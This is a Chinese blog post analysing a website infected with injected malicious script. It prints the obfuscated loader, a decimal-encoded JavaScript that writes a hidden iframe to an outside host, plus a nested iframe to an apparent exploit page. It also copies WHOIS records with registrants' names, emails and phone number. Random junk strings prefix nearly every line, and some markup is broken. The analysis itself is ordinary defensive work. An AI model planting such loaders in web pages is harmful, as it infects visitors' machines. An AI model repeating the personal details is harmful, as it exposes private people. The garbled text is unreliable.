首发在我的博客里面，
;3kj2} ewfP G,S http://www.areway.cn/?p=175 =7 C%P%yt 8}F zZ?DRy Bnb#{tL 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
u)V#S:9] q&Gz ] <script>t=’60,105,102,114,97,109,101,
eOXHQjuj 32,115,114,99,61,104,116,116,112,58,47,47,
&p}$J )q 102,114,101,101,46,117,45,117,117,117,46,99,
n%k!vJ)] 110,47,101,114,114,111,114,46,104,116,109,
%c
[F;ug 32,119,105,100,116,104,61,49,48,48,32,104,
BwBm[jtP 101,105,103,104,116,61,48,62,60,47,105,102,
a_ `[Lj 114,97,109,101,62′;
GF>' \@T h t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
7G\\{ g"?Y+j <script>t=’60,105,102,114,97,109,101,32,115,
0MkSf * 114,99,61,104,116,116,112,58,47,47,102,114,
=Uj-^qc E 101,101,46,117,45,117,117,117,46,99,110,47,
"v` 101,114,114,111,114,46,104,116,109,32,119,
z j/!In 105,100,116,104,61,49,48,48,32,104,101,105,
~5 *5 103,104,116,61,48,62,60,47,105,102,114,97,
g q}I[N 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
2A\,-*pc document.write(t);</script>
W ]Nv33i
[ .h&
.K <html xmlns=”
1XnZy5fEo http://www.w3.org/1999/xhtml e89Xb;;w “>
+Wx{: <head>
u6_@.a} <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
fuA&7gNC <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
|{@8 m9JR <title>首页 - 爱生活家庭网
2con[!U m <w "T7 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Ojt`^r !V 转换字符串后的大概内容是（谁点击后果自付）：
wAz &"rS <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
qR8u$2}NY +{/*z 查询玉米u-uuu.cn的详细信息：
HS.^y
x Domain Name: u-uuu.cn
a9T@$: ROID: 20070901s10001s64972306-cn
:{ur{m5bX Domain Status: ok
8Y_ol#\L Registrant Organization: 王雷
Vg>( Y, Registrant Name: 王雷
9:!gI|C Administrative Email:
czlovexs@126.com Z-U- N Sponsoring Registrar: 北京万网志成科技有限公司
'2laTl]` Name Server:ns.yovole.com
2 OwV^-OG Name Server:ns1.yovole.com
N @#c,, Registration Date: 2007-09-01 17:54
hBFP 1u/E' Expiration Date: 2008-09-01 17:54
<TE%Prd}` 最后PING了一下地址 都没有什么….
9{$<0,? rS?pWTg"8 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
*JaqTI,e <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Qhw^S* <script language=”javascript” src=”
.-IkL |M http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }4{fQ`HT >
l6~-8d+lfN 这个玉米应该有可能是木马作者的：
0q*r foafau.info的详细信息：
1 I*7SkgKv Access to INFO WHOIS information is provided to assist persons in
(:";i& determining the contents of a domain name registration record in the
`KCh*i Afilias registry database. The data in this record is provided by
Da v PYg Afilias Limited for informational purposes only, and Afilias does not
*$"gaXI guarantee its accuracy. This service is intended only for query-based
|0\0a&tkPl access. You agree that you will use this data only for lawful purposes
Hw|AA?,0- and that, under no circumstances will you use this data to: (a) allow,
u@.>Z{h enable, or otherwise support the transmission by e-mail, telephone, or
"n: %E facsimile of mass unsolicited, commercial advertising or solicitations
RKa}$
7 to entities other than the data recipient’s own existing customers; or
ZWm8*}3]7_ (b) enable high volume, automated, electronic processes that send
C:uz6i1 queries or data to the systems of Registry Operator, a Registrar, or
J8"[6vI d~ Afilias except as reasonably necessary to register domain names or
1=nUW": modify existing registrations. All rights reserved. Afilias reserves
0V{(Ru.O the right to modify these terms at any time. By submitting this query,
.(X
lg-H, you agree to abide by this policy.
Q3 eM2i8 Y Domain ID:D22418703-LRMS
(^5 7UmFv] Domain Name:FOAFAU.INFO
e+]6O V&+ Created On:20-Nov-2007 16:05:42 UTC
m "M("% Last Updated On:20-Nov-2007 16:05:44 UTC
`zR+ tbm Expiration Date:20-Nov-2008 16:05:42 UTC
Kv rX{F= Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
cPl`2&p Status:CLIENT DELETE PROHIBITED
)
gzR=9l Status:CLIENT RENEW PROHIBITED
hx f'5uc Status:CLIENT TRANSFER PROHIBITED
+MB!B9M @ Status:CLIENT UPDATE PROHIBITED
b-Z4
Jo
G Status:TRANSFER PROHIBITED
[ G
e=kFB Registrant ID:GODA-040110615
-PnyZ2'Z Registrant Name:liu hong
Wfz\ `y Registrant Organization:
DEw8*MN Registrant Street1:beijing
#9m$ N Registrant Street2:
Ic{F*nnM Registrant Street3:
Yyfq Registrant City:beijing
37q@rDm2 Registrant State/Province:
bO;(bE m@ Registrant Postal Code:100000
VN 'Wq 7>6 Registrant Country:CN
Lqp8yVO Registrant Phone:+86.860108888777
{0@& OO:w Registrant Phone Ext.:
>?]_<: Registrant FAX:
|w*R8ro_ Registrant FAX Ext.:
WA$>pG5s Registrant Email:bbbshiji@163.com
kwud?2E Admin ID:GODA-240110615
0vG yI> Admin Name:liu hong
+'G0 {;b Admin Organization:
H3H_u4_?SE Admin Street1:beijing
ur\q OX|{ Admin Street2:
e8EfQ1 Ar Admin Street3:
Y2R \]FrT Admin City:beijing
v6GsoQmA Admin State/Province:
m3 ^/: < Admin Postal Code:100000
;c -3g] Admin Country:CN
GI7=x h Admin Phone:+86.860108888777
c DrebU Admin Phone Ext.:
H2r8,|XL Admin FAX:
*<'M!iRC Admin FAX Ext.:
!>(RK"KWq] Admin Email:bbbshiji@163.com
1mSaS4!"B Billing ID:GODA-340110615
=9G;PVk| Billing Name:liu hong
3p*-tBOO Billing Organization:
W0zbxJKjd Billing Street1:beijing
hKlZi!4J Billing Street2:
#g5^SR|qE Billing Street3:
UkfB^hA Billing City:beijing
Zw]
?. Billing State/Province:
dp5f7>]:( Billing Postal Code:100000
;50_0Mv;(: Billing Country:CN
Z?^"\u- Billing Phone:+86.860108888777
4.K'\S Billing Phone Ext.:
3_`szl- Billing FAX:
~/IexQB& Billing FAX Ext.:
33 ~qgK1> Billing Email:bbbshiji@163.com
zQH] s?v Tech ID:GODA-140110615
Fvxu >BK Tech Name:liu hong
~"!a9GZ Tech Organization:
eX2<}'W< Tech Street1:beijing
|c2v %'J2G Tech Street2:
`!G7k Tech Street3:
S^f:`9ab9 Tech City:beijing
*OdX u&5 Tech State/Province:
ze'.Y% ] Tech Postal Code:100000
S*)o)34 U Tech Country:CN
D6Y6^eS- Tech Phone:+86.860108888777
}~o
ikN: Tech Phone Ext.:
|*,jU;NI Tech FAX:
P` '$ Tech FAX Ext.:
f]d!hz ! Tech Email:bbbshiji@163.com
6U,fz#<,} Name Server:NS27.DOMAINCONTROL.COM
~ H[%vdR Name Server:NS28.DOMAINCONTROL.COM
TRKgBK$, Name Server:
aEx (rLd+ Name Server:
MFg'YA2/ Name Server:
~F#A
Pt Name Server:
[.q(h/b Name Server:
bj"z8 kP Name Server:
j [ P8 Name Server:
2W3W/> 2 h Name Server:
Zj-BuE&@f Name Server:
H2Eb\v`# Name Server:
7 CrpU h Name Server:
+zRh
fIJHH CtT~0 Y| 接着下载每个文件里面的代码：
00M`%c/ 一步一步看..
4^O w^7N? 
D {AFL.r{ 
>IR$e=5$ 
d.pp3D 9/ 
Y jup 
3$"/>g/ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
